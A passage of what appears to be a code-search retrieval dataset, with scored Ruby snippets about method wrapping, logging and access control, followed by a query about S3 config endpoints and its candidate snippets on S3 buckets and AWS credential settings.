"text": "def add_writer_tags(klass, new_method, member); end",
"title": ""
},
{
"docid": "8678f301af5b290c5a484dcb776ad555",
"score": "0.50283295",
"text": "def only(*methods)\r\n with_options(only: methods)\r\n end",
"title": ""
},
{
"docid": "612c39a10d6e90c6b2708918e6534f30",
"score": "0.50236773",
"text": "def on_request(env)\n env['sinatra.commonlogger'] = true\n super\n end",
"title": ""
},
{
"docid": "164252d94ebc6ee92713fe0ed97236b0",
"score": "0.5011969",
"text": "def with_methods\n method_names = @director ? @director.methods_wrapped.map {|m| m.name } : []\n [self.code.methods].flatten.each do |method|\n next if do_not_wrap?(method)\n next if method_names.include?(method.name)\n\n arguments = [method.arguments].flatten\n\n # Ignore methods that have non-public arguments anywhere\n if !arguments.empty? && !arguments.select {|a| !a.cpp_type.base_type.public?}.empty?\n Logger.info \"Ignoring method #{method.qualified_name} due to non-public argument type(s)\"\n next\n end\n\n if method.static?\n add_child StaticMethodNode.new(method, self)\n else\n add_child MethodNode.new(method, self)\n end\n end\n end",
"title": ""
},
{
"docid": "7c03db258704b35edf6838dbc1e21650",
"score": "0.50094074",
"text": "def protected_methods(all=true)\n __getobj__.protected_methods(all) | super\n end",
"title": ""
},
{
"docid": "ca0d4e5e64f866e8f0a98d6fc267f870",
"score": "0.5006317",
"text": "def access_logger\n Rails.application.config.another_logger.info(\"#{request.method} '#{request.path}' #{request.version} from: #{request.remote_ip}\")\n end",
"title": ""
},
{
"docid": "d89a143682a9c86d98966c980af05056",
"score": "0.50046366",
"text": "def protected_instance_methods(include_super=true) end",
"title": ""
},
{
"docid": "80503c082031f62128a7f00edbf8a52e",
"score": "0.49979073",
"text": "def mock_methods_for_testing! #:nodoc:\n request.headers['mock_methods'].each do |method_name, return_value|\n (class << self; self; end).instance_eval do\n define_method(method_name) { |*not_used| return_value }\n end\n end\n end",
"title": ""
},
{
"docid": "fb13d749b075c1074be009d8a3efaa8e",
"score": "0.49901396",
"text": "def restrict_method(m)\n m = m.intern if m.is_a?(String)\n\n raise ArgumentError, _(\"'%{m}' is not an allowed value for method directive\") % { m: m } unless ALL.include?(m)\n\n # if we were allowing all methods, then starts from scratch\n if @methods === ALL\n @methods = []\n end\n\n raise ArgumentError, _(\"'%{m}' is already in the '%{name}' ACL\") % { m: m, name: name } if @methods.include?(m)\n\n @methods << m\n end",
"title": ""
},
{
"docid": "2a8d6f3d2a0c8e34db97516ddfc0de5b",
"score": "0.4987121",
"text": "def context_methods\n get_whitelist + [\n :on, :set, :get, :stop, :stopped?, :method_missing, :data, :d\n ]\n end",
"title": ""
},
{
"docid": "6f6b03b4597e1619bf7552d73bc2616f",
"score": "0.49842623",
"text": "def all_convenience_methods\n @mutex.synchronize do\n @methods.keys\n end\n end",
"title": ""
},
{
"docid": "a60e2e81afbe60710cd6d5e219ba5e85",
"score": "0.49791855",
"text": "def phi_wrap_method(method_name)\n unless respond_to?(method_name)\n PhiAttrs::Logger.warn(\"#{self.class.name} tried to wrap non-existant method (#{method_name})\")\n return\n end\n return if self.class.__phi_methods_wrapped.include? method_name\n\n wrapped_method = :\"__#{method_name}_phi_wrapped\"\n unwrapped_method = :\"__#{method_name}_phi_unwrapped\"\n\n self.class.send(:define_method, wrapped_method) do |*args, **kwargs, &block|\n PhiAttrs::Logger.tagged(*phi_log_keys) do\n unless phi_allowed?\n raise PhiAttrs::Exceptions::PhiAccessException, \"Attempted PHI access for #{self.class.name} #{@__phi_user_id}\"\n end\n\n unless all_phi_context_logged?\n PhiAttrs::Logger.info(\"#{self.class.name} access by [#{all_phi_allowed_by}]. Triggered by method: #{method_name}\")\n set_all_phi_context_logged\n end\n\n send(unwrapped_method, *args, **kwargs, &block)\n end\n end\n\n # method_name => wrapped_method => unwrapped_method\n self.class.send(:alias_method, unwrapped_method, method_name)\n self.class.send(:alias_method, method_name, wrapped_method)\n\n self.class.__phi_methods_wrapped << method_name\n end",
"title": ""
},
{
"docid": "307d6d5e3cb851f6173f6277cba2ab77",
"score": "0.49782643",
"text": "def method_missing(method, *args)\n args.unshift(method.to_s)\n set_user_config args\n end",
"title": ""
},
{
"docid": "1fbdb1a06c0a284296b7e09d13ce4c99",
"score": "0.49724767",
"text": "def define_attribute_methods\n super\n self.generated_methods.each do |method|\n if method.to_s =~ Regexp.new(\"^#{self.to_s.underscore}__\")\n new_method_name = $~.post_match\n alias_method(new_method_name, method)\n private method\n self.generated_methods << new_method_name\n end\n end\n end",
"title": ""
},
{
"docid": "7aaca159b4e85438be9a3f1fb0cd22f2",
"score": "0.4967678",
"text": "def enable_logging(opts)\n opts[:AccessLog] = []\n level = WEBrick::Log.const_get(opts[:BridgetownOptions][\"verbose\"] ? :DEBUG : :WARN)\n opts[:Logger] = WEBrick::Log.new($stdout, level)\n end",
"title": ""
},
{
"docid": "517ea033009d387f5d2c5255ead7d0a2",
"score": "0.49640176",
"text": "def access_control\n \n end",
"title": ""
},
{
"docid": "86b5765988af775ceac24c65be6971c2",
"score": "0.4958845",
"text": "def expose(*list)\n @exposed_methods ||= []\n @exposed_methods |= list\n end",
"title": ""
},
{
"docid": "90c1d9fa74be3a83934416b7e19225d4",
"score": "0.49523705",
"text": "def add_disallow_flag!\n @__phi_access_stack.push({\n phi_access_allowed: false\n })\n end",
"title": ""
},
{
"docid": "9b4158e9ecb26ce1fda886a9cf5b1887",
"score": "0.49520254",
"text": "def before_method(method)\n @liquor[method.to_s]\n end",
"title": ""
},
{
"docid": "af48c8c376b918251045b45c7b08d148",
"score": "0.49488005",
"text": "def __phi_wrapped_methods\n excluded_methods = self.class.__phi_exclude_methods.to_a\n included_methods = self.class.__phi_include_methods.to_a\n\n attribute_names - excluded_methods + included_methods - [self.class.primary_key]\n end",
"title": ""
},
{
"docid": "1756f58201f71bd6eb840c297b309f4f",
"score": "0.4945445",
"text": "def auth_methods; end",
"title": ""
},
{
"docid": "6c3bf5c8481112a7323ebc16b9e6be3f",
"score": "0.4944412",
"text": "def private_methods(all=true) end",
"title": ""
},
{
"docid": "2c9a4c2ca25f33b3e6fd16a7b9b18805",
"score": "0.49372008",
"text": "def initialize_methods_etc\n @method_list = []\n @attributes = []\n @aliases = []\n @requires = []\n @includes = []\n @constants = []\n\n # This Hash maps a method name to a list of unmatched aliases (aliases of\n # a method not yet encountered).\n @unmatched_alias_lists = {}\n end",
"title": ""
},
{
"docid": "5fd1e6380fa1d00cdf9b599532751bba",
"score": "0.493237",
"text": "def all_access_to(options = {})\n options.assert_valid_keys(:only, :except)\n if options.has_key?(:only)\n self.public_actions = [options[:only]].flatten.compact.collect{ |a| a.to_sym }\n end\n if options.has_key?(:except)\n instance_methods_array = instance_methods(false).collect{ |a| a.to_sym }\n opts = [options[:except]].flatten.compact.collect{ |a| a.to_sym }\n self.public_actions = opts - instance_methods_array\n self.private_actions = opts\n end\n end",
"title": ""
},
{
"docid": "4bcc06596293ef5d4cc3a5f98a766ee6",
"score": "0.49252617",
"text": "def method_missing( name, *args )\n log(name, args) if @@enabled\n end",
"title": ""
},
{
"docid": "3ed1a2bc34c6d874af864b08a608e788",
"score": "0.49196342",
"text": "def method4 # and this will be 'public'\r\n\t\t#...\r\n\tend",
"title": ""
},
{
"docid": "9bf2a722b7c3ba7d49b7816924f2bc68",
"score": "0.49186006",
"text": "def alias_methods(*method_names)\r\n trait = self\r\n module_or_self.module_eval do\r\n existing_instance_methods = method_names & trait.instance_methods\r\n existing_instance_methods.each do |method_name|\r\n alias_method trait.aliased_method_name(method_name), method_name\r\n end\r\n end\r\n end",
"title": ""
},
{
"docid": "5296260b1fc04d1098856b7eaf31dee9",
"score": "0.49169245",
"text": "def all_signed_methods\n HasType.method_names_where(self) {|_| true }\n end",
"title": ""
},
{
"docid": "9edbb548c89a09e6d1e11ce31c28ddfe",
"score": "0.49117428",
"text": "def run\n methods = self.class.instance_methods - Object.instance_methods\n methods.grep(%r!^set_!).each do |v|\n send(v)\n end\n end",
"title": ""
},
{
"docid": "72bd2acaecf0cd4c6f0cef09cb49be0e",
"score": "0.49092317",
"text": "def method_missing( sym, msg=nil, &block )\n\t\t\t\treturn super unless LEVEL.key?( sym )\n\t\t\t\tsym = :debug if @force_debug\n\t\t\t\tVerse.logger.add( LEVEL[sym], msg, @classname, &block )\n\t\t\tend",
"title": ""
},
{
"docid": "5b3dad069c23a3ef2be1359b11b86f97",
"score": "0.49083313",
"text": "def advanced\n __log_activity(anonymous: true)\n __debug_route\n end",
"title": ""
},
{
"docid": "7233d5a1c3a91f43810632a7fb2f9f3d",
"score": "0.4905446",
"text": "def methods\n delegated_instance_methods + old_methods\n end",
"title": ""
},
{
"docid": "7233d5a1c3a91f43810632a7fb2f9f3d",
"score": "0.4905446",
"text": "def methods\n delegated_instance_methods + old_methods\n end",
"title": ""
},
{
"docid": "38f2583b3b0968b8f46f580ae745893f",
"score": "0.4898421",
"text": "def fido2_methods=(value)\n @fido2_methods = value\n end",
"title": ""
},
{
"docid": "1614e628abd71fd7a70a0185b13250e8",
"score": "0.48930827",
"text": "def supporting_method\n logger.warn 'This does nothing'\n end",
"title": ""
},
{
"docid": "0f8990e5ad7e4206dde1782e71b5fb39",
"score": "0.48906335",
"text": "def add_method_hooks\n eigen_class = @target.singleton_class\n\n if @options[:class_methods]\n return unless @target.is_a?(Module)\n\n orig_singleton_method_added = @target.method(:singleton_method_added)\n\n eigen_class.send :define_method, :singleton_method_added do |method|\n aspector_singleton_method_added(method)\n orig_singleton_method_added.call(method)\n end\n else\n if @target.is_a? Module\n orig_method_added = @target.method(:method_added)\n else\n orig_method_added = eigen_class.method(:method_added)\n end\n\n eigen_class.send :define_method, :method_added do |method|\n aspector_instance_method_added(method)\n orig_method_added.call(method)\n end\n end\n end",
"title": ""
},
{
"docid": "cc1f5a8840ce35257f0b88d12ee064dd",
"score": "0.4883934",
"text": "def quiet(*method_keys); end",
"title": ""
},
{
"docid": "087e4997456f8a80fc4e438b0acc3812",
"score": "0.4881836",
"text": "def all_methods(nin)\n nin.stealth_mode\n nin.throw_star(3)\n nin.assinate(\"Donald Duck\")\nend",
"title": ""
},
{
"docid": "d5b3852c6f45a847c653f654bf5d07bc",
"score": "0.48810902",
"text": "def temporary_access_pass_methods\n return @temporary_access_pass_methods\n end",
"title": ""
},
{
"docid": "ce90612973ff1c4e2c6f3b88f3701181",
"score": "0.4880241",
"text": "def add_alias(method)\n @aliases << method\n end",
"title": ""
},
{
"docid": "ce90612973ff1c4e2c6f3b88f3701181",
"score": "0.4880241",
"text": "def add_alias(method)\n @aliases << method\n end",
"title": ""
},
{
"docid": "b36e68cba3516a4c737431e9465a2849",
"score": "0.48748857",
"text": "def after_method(method)\n @@after_methods << method\n @@wrap_exclusions << method.to_sym # This method will not be wrapped.\n end",
"title": ""
},
{
"docid": "3d31bb84fc130a561b5cc9497f75ea33",
"score": "0.48670265",
"text": "def __debug_method(mode, label, *methods)\n if mode == :input\n return unless DEBUG_INPUT\n elsif mode == :output\n return unless DEBUG_OUTPUT\n elsif mode.is_a?(String)\n methods.unshift(label)\n label = mode\n mode = nil\n else\n mode = nil\n end\n if label.is_a?(Symbol)\n methods.unshift(label)\n label = nil\n end\n label &&= \"#{label}.\"\n methods.flatten.each do |meth|\n module_eval do\n alias_method :\"original_#{meth}\", meth\n define_method(meth) do |*args|\n __debug_show(mode, *args, leader: \"#{label}#{meth}\")\n send(\"original_#{meth}\", *args)\n end\n end\n end\n nil\n end",
"title": ""
},
{
"docid": "0456d716b9620f67019b4b3479b181cb",
"score": "0.48624384",
"text": "def method_missing(meth,*a,&block)\n (methods[meth] ||= []) << a\n methods[meth].flatten!\n end",
"title": ""
},
{
"docid": "96713da36474030227f470450e7b0c33",
"score": "0.48581934",
"text": "def helper_methods\n members - PREDICATE_FIELDS + PREDICATE_FIELDS.map { |f| \"#{f}?\".to_sym }\n end",
"title": ""
},
{
"docid": "fccdc9c6546c77283f49efc23e146f98",
"score": "0.48564187",
"text": "def public_methods(all=true) end",
"title": ""
}
] |
58ef1493fac3b24d885cc736d3e374d9 | GET /s3Configs/1 GET /s3Configs/1.json | [
{
"docid": "a81945373733e4951b987de6ea99f9a1",
"score": "0.0",
"text": "def show\n end",
"title": ""
}
] | [
{
"docid": "88298a04f9dd48c17f577a98ff041294",
"score": "0.7946986",
"text": "def index\n @s3Configs = S3Config.all\n end",
"title": ""
},
{
"docid": "980c73c52320e01b54b327596ab24416",
"score": "0.69087696",
"text": "def set_s3config\n @s3config = S3Config.find(params[:id])\n end",
"title": ""
},
{
"docid": "d33bfdc3b5b4537da9b05cb2d2b7d959",
"score": "0.67190105",
"text": "def s3_configuration; end",
"title": ""
},
{
"docid": "184da4d0615793676d0cc54a0f771843",
"score": "0.64929104",
"text": "def s3_object_configuration; end",
"title": ""
},
{
"docid": "f211880995dc1e5b6610841077b7213e",
"score": "0.6337678",
"text": "def update\n respond_to do |format|\n if @s3config.update(s3config_params)\n flash[:notice] = 's3config has been successfully updated.'\n format.html { redirect_to action: \"index\"}\n format.json { render :show, status: :ok, location: @s3config }\n else\n format.html { render :edit }\n format.json { render json: @s3config.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "bb024b51439224ac48604720ddbde088",
"score": "0.6299509",
"text": "def read_json(propertyName)\n # constructs S3 client and retrieves bucket information\n s3 = Aws::S3::Client.new(\n region: 'us-east-1'\n )\n resp = s3.get_object(bucket: 'ldsn-general', key: 'bonnie-configs/latest/active.json')\n versionInfo = JSON.parse(resp.body.string)\n versionNum = '/' + versionInfo[propertyName].first['configVersion']\n\n # property Information from S3\n propertyResp = s3.get_object(bucket: 'ldsn-general', key: 'bonnie-configs/latest/configurations/' + propertyName + versionNum + '/config.json')\n JSON.parse(propertyResp.body.string)\n end",
"title": ""
},
{
"docid": "f538c803becf092083606bc1db55e142",
"score": "0.62683976",
"text": "def get_files_from_s3(bucket, key)\n # create the s3 resource object\n s3 = Aws::S3::Resource.new(region: 'us-east-1')\n\n # Create the object to retrieve\n obj = s3.bucket(bucket).object(key)\n\n # Get the item's content and save it to a file\n obj.get(response_target: '/tmp/'+key.split(\"/\")[-1])\n # Get the config file and save it\n obj2 = s3.bucket(bucket).object(key.split(\"/\")[0]+\"/\"+key.split(\"/\")[1]+\"/config.json\")\n obj2.get(response_target: '/tmp/config.json')\n return true\nend",
"title": ""
},
{
"docid": "db7dd56f3c380e2a18eaae5c0c1803b6",
"score": "0.6244384",
"text": "def show\n # AWS.config(access_key_id: ENV['S3_ACCESS_KEY_ID'],\n # secret_access_key: ENV['S3_SECRET_ACCESS_KEY'] )\n\n # S3_BUCKET = AWS::S3.new.buckets[ENV'S3_BUCKET']\n end",
"title": ""
},
{
"docid": "ebe31107c02482e31e46372d03b1993c",
"score": "0.62438303",
"text": "def config\n @config ||= YAML.load_file(sinatra_root + \"/config/s3.yml\")\n end",
"title": ""
},
{
"docid": "822fef02b663dc3e6902a4d4d03760fe",
"score": "0.61748254",
"text": "def create\n @s3config = S3Config.new(profile_params)\n\n respond_to do |format|\n if @s3config.save\n flash[:notice] = 's3 config was successfully created.'\n format.html { redirect_to action: \"index\"}\n \n format.json { render :show, status: :created, location: @s3config }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @s3config.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8dd393233f777e8ec8583ecbeb356276",
"score": "0.5950647",
"text": "def get_s3()\n s3_list = []\n data_bucket = @s3.buckets[\"#{@bucket}\"].objects.with_prefix(\"#{@path}\")\n data_bucket.each do |data_file|\n unless data_file.key.eql? \"#{@path}/\"\n s3_list.push(data_file.key.split('/')[-1])\n end\n end\n return s3_list\n end",
"title": ""
},
{
"docid": "5e3b97744a4a71f1667d829555b55e66",
"score": "0.59472036",
"text": "def s3_configuration=(_arg0); end",
"title": ""
},
{
"docid": "4fd4b34e07fe5d3db95e9aea639f1c13",
"score": "0.5939176",
"text": "def s3_credentials\n {:bucket => \"calw-assets/avatars\", :access_key_id => ENV['CW_AWS_ACCESS_KEY'], :secret_access_key => ENV['CW_AWS_SECRET_ACCESS_KEY']}\n end",
"title": ""
},
{
"docid": "eea28120e2ec4a8f90f22ff6f7ff1a4b",
"score": "0.58923656",
"text": "def s3_credentials \n {:bucket => \"hifashion-images1\", :access_key_id => ENV[\"access_key_id\"] , :secret_access_key => ENV[\"secret_access_key\"]} \n end",
"title": ""
},
{
"docid": "45374d1309417a9a30ecb3b8b8d40e2c",
"score": "0.58546245",
"text": "def retrieve(format, opts)\n s3.get_object({\n bucket: bucket_for(format, opts),\n key: path_for(opts)\n }).body.read\n end",
"title": ""
},
{
"docid": "e8dbf1a7cc5c79443b3023fce0c2d4d9",
"score": "0.58544534",
"text": "def aws_s3_config\n\n @endpoint_region == 'us-east-1' ? @endpoint_region = 's3.amazonaws.com' : @endpoint_region = 's3-'+@endpoint_region+'.amazonaws.com'\n\n @logger.info(\"Registering s3 output\", :bucket => @bucket, :endpoint_region => @endpoint_region)\n\n AWS.config(\n :access_key_id => @access_key_id,\n :secret_access_key => @secret_access_key,\n :s3_endpoint => @endpoint_region\n )\n @s3 = AWS::S3.new\n\n end",
"title": ""
},
{
"docid": "972feaf35a1820fa0ac8ba5964e18a76",
"score": "0.5845114",
"text": "def credentials()\n credentials = YAML.load_file(\"#{home}/.s3conf/s3config.yml\")\n [credentials['aws_access_key_id'],credentials['aws_secret_access_key']] \n end",
"title": ""
},
{
"docid": "8ea988898329ecb88dee3b17d0f9618f",
"score": "0.5838599",
"text": "def fetch_aws_keys(auth, base) \n project = base.project \n project_name = base.options[:project] || project.name \n return auth.api.get_config_vars(project_name).body['config']\n end",
"title": ""
},
{
"docid": "119c665b23a42a9aa824ad489f2e2e04",
"score": "0.5783156",
"text": "def s3utils_system_config_files\n [\n {:template => \"s3cfg\",\n :path => \"/home/#{user}/.s3cfg\",\n :mode => 0644,\n :owner => \"#{user}:#{user}\"},\n \n {:template => \"s3config.yml\",\n :path => \"/home/#{user}/.s3conf/s3config.yml\",\n :mode => 0644,\n :owner => \"#{user}:#{user}\"}\n ]\n end",
"title": ""
},
{
"docid": "1408182ef6e21ac5ea7a1ad3d5d7fb42",
"score": "0.57573473",
"text": "def return_bucket(bucket_type) \n bucket = YAML.load_file(\"#{::Rails.root.to_s}/config/s3.yml\")[bucket_type]\n end",
"title": ""
},
{
"docid": "2f390a0e082859b637d45c125c28ae4a",
"score": "0.5749039",
"text": "def read\n AWS::S3::S3Object.value @path, bucket\n end",
"title": ""
},
{
"docid": "39b2844a1aeabd40d51c60aa787e13d6",
"score": "0.574315",
"text": "def s3 ; @s3 ||= RDSBackup.s3 end",
"title": ""
},
{
"docid": "9f74dd308349d211e564becc9ae8d7c1",
"score": "0.57012606",
"text": "def update_s3_setting(data)\n return data unless data[\"s3\"] && data[\"s3\"][\"path\"]\n\n options = data[\"s3\"][\"path\"]\n if options.is_a?(String)\n data.delete(\"s3\")\n data[\"s3_folder\"] = options\n return data # return early if String\n end\n\n # Reach here: dealing with a Hash\n if options.size == 1 and options[\"default\"]\n data[\"s3_folder\"] = options[\"default\"]\n end\n\n if options.size > 1\n data[\"s3_folder\"] = {}\n options.each do |key, value|\n data[\"s3_folder\"][key] = value\n end\n end\n\n data.delete(\"s3\")\n data\n end",
"title": ""
},
{
"docid": "d8f0777109932db490807d22b0a04cbb",
"score": "0.56868786",
"text": "def index\n @s3images = S3image.all\n end",
"title": ""
},
{
"docid": "f467e5dc463595f9225a29c77eaea40b",
"score": "0.56767887",
"text": "def get_bucket(bucket_name)\n config = Hash[*File.read(Sup::CONFIG_FILE).split(/[= \\n]+/)]\n s3 = AWS::S3.new(\n access_key_id: config['access_key_id'],\n secret_access_key: config['secret_access_key'],\n s3_endpoint: config['s3_endpoint']\n )\n return s3.buckets[bucket_name]\n end",
"title": ""
},
{
"docid": "5ffc16ecb3307e26898fbf9d141ce6b9",
"score": "0.5668532",
"text": "def s3\n @s3 ||= Hashie::Mash.new({\n source: 's3:12061/271934/orig_232903',\n checksum: 'f0891f199f0966ec1b1d209b91ff3f51273577944dbbe338f1947ae9f33cb79a',\n name: '__init__.py',\n path: '/folder3/__init__.py',\n file_size: 8\n })\n end",
"title": ""
},
{
"docid": "9695ab3124e086b1476ea0f6dfbf73d2",
"score": "0.56685066",
"text": "def s3_path\n @s3_path ||= s3_prefix + \"/\" + sha1_hash[0..1] + \"/\" + sha1_hash[2..-1]\n end",
"title": ""
},
{
"docid": "69492aa88fd880e31f46732024886b36",
"score": "0.5644813",
"text": "def s3\n @s3 ||= Aws::S3::Client.new(\n credentials: Aws::Credentials.new(Config.env('AWS_ACCESS_KEY_ID'),\n Config.env('AWS_SECRET_ACCESS_KEY')),\n region: Config.env('AWS_REGION')\n )\n end",
"title": ""
},
{
"docid": "5c3b1adcb208ca23f772c11c2c51ff27",
"score": "0.5635186",
"text": "def config\n JSON.parse get(\"config/json\")\n end",
"title": ""
},
{
"docid": "2498a85fc716811f4ea7e7cc6a2b354f",
"score": "0.5620488",
"text": "def s3_object\n @s3_object ||=\n key && self.class.aws_s3_client.get_object(bucket: bucket, key: key)\n end",
"title": ""
},
{
"docid": "0b38038601020888a814f1a78f38a772",
"score": "0.56187725",
"text": "def buckets\n AWS::S3::Service.buckets\n end",
"title": ""
},
{
"docid": "841af29eb87e3f3024eacd328bdf3bc9",
"score": "0.5596195",
"text": "def s3_credentials\n {\n bucket: ENV[\"S3_BUCKET_NAME\"],\n access_key_id: ENV[\"S3_ACCESS_KEY_ID\"],\n secret_access_key: ENV[\"S3_SECRET_ACCESS_KEY\"]\n }\n end",
"title": ""
},
{
"docid": "22e3880d7f8fcefbe24803e95d6f7319",
"score": "0.55930734",
"text": "def connect_to_s3()\n\n Aws::S3::Client.new(\n access_key_id: ENV['S3_KEY'],\n secret_access_key: ENV['S3_SECRET'],\n region: ENV['AWS_REGION'],\n force_path_style: ENV['PATH_STYLE']\n )\n\nend",
"title": ""
},
{
"docid": "6dc56a5fd6811dd748c91d7621dcbdee",
"score": "0.5586988",
"text": "def s3_url\n ENV['CONFLUX_S3_URL'] || 'http://confluxapp.s3-website-us-west-1.amazonaws.com'\n end",
"title": ""
},
{
"docid": "ef8c570d3c6afef927e434c2b60ea718",
"score": "0.55675757",
"text": "def read\n AWS::S3::S3Object.value @path, @uploader.s3_bucket\n end",
"title": ""
},
{
"docid": "eef39d371979eb7a2534683e5cb0d0bb",
"score": "0.556364",
"text": "def read_config(io = nil)\n unless io\n root_path = ::Middleman::Application.root\n config_file_path = File.join(root_path, \".s3_sync\")\n\n # skip if config file does not exist\n return unless File.exists?(config_file_path)\n\n io = File.open(config_file_path, \"r\")\n end\n\n config = (YAML.load(io) || {}).symbolize_keys\n\n options.all_settings.map(&:key).each do |config_option|\n self.send(\"#{config_option}=\".to_sym, config[config_option]) if config[config_option]\n end\n end",
"title": ""
},
{
"docid": "1be5ffd846d97acd27829fce249f6263",
"score": "0.5557372",
"text": "def s3metadata\n @s3obj.metadata\n end",
"title": ""
},
{
"docid": "ace417dc61cd9d7aaf16efa1f3d7f8b5",
"score": "0.55559987",
"text": "def s3_object_configuration=(_arg0); end",
"title": ""
},
{
"docid": "9e23d32936336678c65bb76c2db191dd",
"score": "0.554124",
"text": "def s3i_open\n s3_config = YAML.load_file(Rails.root.join(\"config/s3.yml\")).symbolize_keys\n s3_key_id = s3_config[:production]['config']['S3_ACCESS_KEY_ID']\n s3_access_key = s3_config[:production]['config']['S3_SECRET_ACCESS_KEY'] \n RightAws::S3Interface.new(s3_key_id, s3_access_key, { logger: Rails.logger })\n end",
"title": ""
},
{
"docid": "30549d530debf451628dbe11aeafe0dc",
"score": "0.55386996",
"text": "def s3_configured\n ret = true\n [:S3_KEY_PREFIX, :S3_ACCESS_KEY_ID, :S3_SECRET_ACCESS_KEY,\n :S3_DEFAULT_ACL, :S3_BUCKET ].each do |k|\n ret = !@options[k].nil? unless ret == false\n end\n ret\n end",
"title": ""
},
{
"docid": "4542e7c892e07e1ef945e1f247af4744",
"score": "0.55306846",
"text": "def s3_credentials\n {:bucket => ENV['PHOTIDIAN_BUCKET_NAME'], :access_key_id => ENV['AWS_ACCESS_KEY_ID'], :secret_access_key => ENV['AWS_SECRET_ACCESS_KEY']}\n end",
"title": ""
},
{
"docid": "9b76b35142b5a088f1eaef26efab67f4",
"score": "0.55227715",
"text": "def s3\n @s3 ||= AWS::S3.new(\n :access_key_id => Config.env('AWS_ACCESS_KEY_ID'),\n :secret_access_key => Config.env('AWS_SECRET_ACCESS_KEY'),\n :use_ssl => true\n )\n end",
"title": ""
},
{
"docid": "6c149cd875c543c12accd23e18ce6063",
"score": "0.5514431",
"text": "def read(options = {:bucket_name => UFS::S3.bucket.to_s})\n s3 = vassal(options)\n if s3 && s3.stored?\n s3.value\n else\n raise UFS::ReadError\n end\n end",
"title": ""
},
{
"docid": "b949b7ad5d7955f687a11c74c4397bdf",
"score": "0.5513774",
"text": "def s3_file_get_all(filename, bucket: nil)\n res = aws_s3_client.get_object(\n key: filename,\n bucket: bucket || @s3_bucket_name\n )\n res.body.read\n end",
"title": ""
},
{
"docid": "c77b48b2e4420741536fd9f089748ac6",
"score": "0.551333",
"text": "def s3\n @s3 ||= Aws::S3::Client.new(credentials: @credentials, region: @region)\n end",
"title": ""
},
{
"docid": "a2854473d70c7fe74df1f44624b52735",
"score": "0.55085236",
"text": "def get_configuration(namespace, name, snapshot_id, payload_as_object=false)\n path = self.api_root + \"/api/configurations/#{namespace}/#{name}/#{snapshot_id}?payloadAsObject=#{payload_as_object}\"\n process_firecloud_request(:get, path)\n end",
"title": ""
},
{
"docid": "39ff11526d80fd3068facbe67b7db474",
"score": "0.54931474",
"text": "def get_upload_credentials\n @accessKey = ENV['S3_ACCESS']\n @secretKey = ENV['S3_SECRET']\n render json: {acessKey: @accessKey, secretKey: @secretKey}\n end",
"title": ""
},
{
"docid": "422cbf337c05043310987890b1ee33f4",
"score": "0.548815",
"text": "def s3_prefix\n \"objects\"\n end",
"title": ""
},
{
"docid": "9bec90aff60ff24e981ac77a1863496e",
"score": "0.5476853",
"text": "def s3_credentials(version: nil)\n required_vars = %w[S3_BUCKET S3_ACCESS_KEY S3_SECRET S3_REGION]\n unless required_vars.all? { |key| ENV[key].present? }\n raise \"Missing S3 Environment variables: #{%w[S3_BUCKET S3_ACCESS_KEY S3_SECRET S3_REGION].select {|v| ENV[v].blank? }.compact.inspect }\"\n end\n case version\n when 2\n {\n credentials: {\n access_key_id: ENV['S3_ACCESS_KEY'], secret_access_key: ENV['S3_SECRET'],\n },\n # bucket: ENV['S3_BUCKET'],\n region: ENV['S3_REGION']\n }\n else\n {\n access_key_id: ENV['S3_ACCESS_KEY'], secret_access_key: ENV['S3_SECRET'],\n bucket: ENV['S3_BUCKET'],\n s3_region: ENV['S3_REGION']\n }\n end\n end",
"title": ""
},
{
"docid": "165dd67a2b1920ee46f9eaad7fc14b7b",
"score": "0.54702187",
"text": "def get_upload_credentials\n @accessKey = ENV['S3_ACCESS']\n @secretKey = ENV['S3_SECRET']\n render json: { accessKey: @accessKey, secretKey: @secretKey }\n end",
"title": ""
},
{
"docid": "1f1d1f2d867e091cd02d40596be81f4e",
"score": "0.54630953",
"text": "def s3_client\n Aws::S3::Client.new\n end",
"title": ""
},
{
"docid": "72ad3de7b4ccc282a1526e2675a6c0e5",
"score": "0.54607016",
"text": "def get_config()\n config = get_deploy_settings\n AWS.config(\n :access_key_id => config['aws']['access_key_id'],\n :secret_access_key => config['aws']['secret_access_key'])\n config['aws']\nend",
"title": ""
},
{
"docid": "8e723f6e27e77a0f141a9dbe44a895c4",
"score": "0.5454148",
"text": "def s3_client\n require 'aws-sdk-s3'\n if ZuoraConnect.configuration.mode == \"Development\"\n @s3_client ||= Aws::S3::Resource.new(region: ZuoraConnect.configuration.aws_region,access_key_id: ZuoraConnect.configuration.dev_mode_access_key_id,secret_access_key: ZuoraConnect.configuration.dev_mode_secret_access_key)\n else\n @s3_client ||= Aws::S3::Resource.new(region: ZuoraConnect.configuration.aws_region)\n end\n end",
"title": ""
},
{
"docid": "a1856eea799dc2cf486a9d54003b843f",
"score": "0.54453117",
"text": "def s3_bucket\n @attributes[:s3_bucket]\n end",
"title": ""
},
{
"docid": "a1856eea799dc2cf486a9d54003b843f",
"score": "0.54453117",
"text": "def s3_bucket\n @attributes[:s3_bucket]\n end",
"title": ""
},
{
"docid": "27be2ec9feeca4485e3973059cbc3bee",
"score": "0.5428523",
"text": "def read(options)\n establish_connection.\n directories.\n new(key: Rails.application.secrets.s3_bucket).\n files.\n get(options[:filename]).\n body\n end",
"title": ""
},
{
"docid": "231798155d15349e95a7aa203c52ea63",
"score": "0.5415595",
"text": "def s3(opts = {})\n config = {\n stub_responses: false,\n region: region,\n credentials: Auth.creds\n }\n config = config.merge(opts.select { |k| config.key?(k) })\n\n @s3 ||= Aws::S3::Client.new(config)\n end",
"title": ""
},
{
"docid": "d37ea97629b745c1180de4f53211ac8f",
"score": "0.5413001",
"text": "def get_s3_bucket_public_url(options)\n s3 = initiate_aws_s3_resource(options)\n url = s3.bucket(options['bucket']).object(options['object']).public_url\n return url\nend",
"title": ""
},
{
"docid": "71d569f593dc487832de3450a6a9193c",
"score": "0.54108196",
"text": "def read_config(io = nil)\n unless io\n root_path = ::Middleman::Application.root\n config_file_path = File.join(root_path, \".s3_sync\")\n\n # skip if config file does not exist\n return unless File.exist?(config_file_path)\n\n io = File.open(config_file_path, \"r\")\n end\n\n config = (YAML.load(io) || {}).symbolize_keys\n\n config.each do |key, value|\n options[key.to_sym] = value\n end\n end",
"title": ""
},
{
"docid": "efad25c11eca56f15d6cb10f408c791c",
"score": "0.5402861",
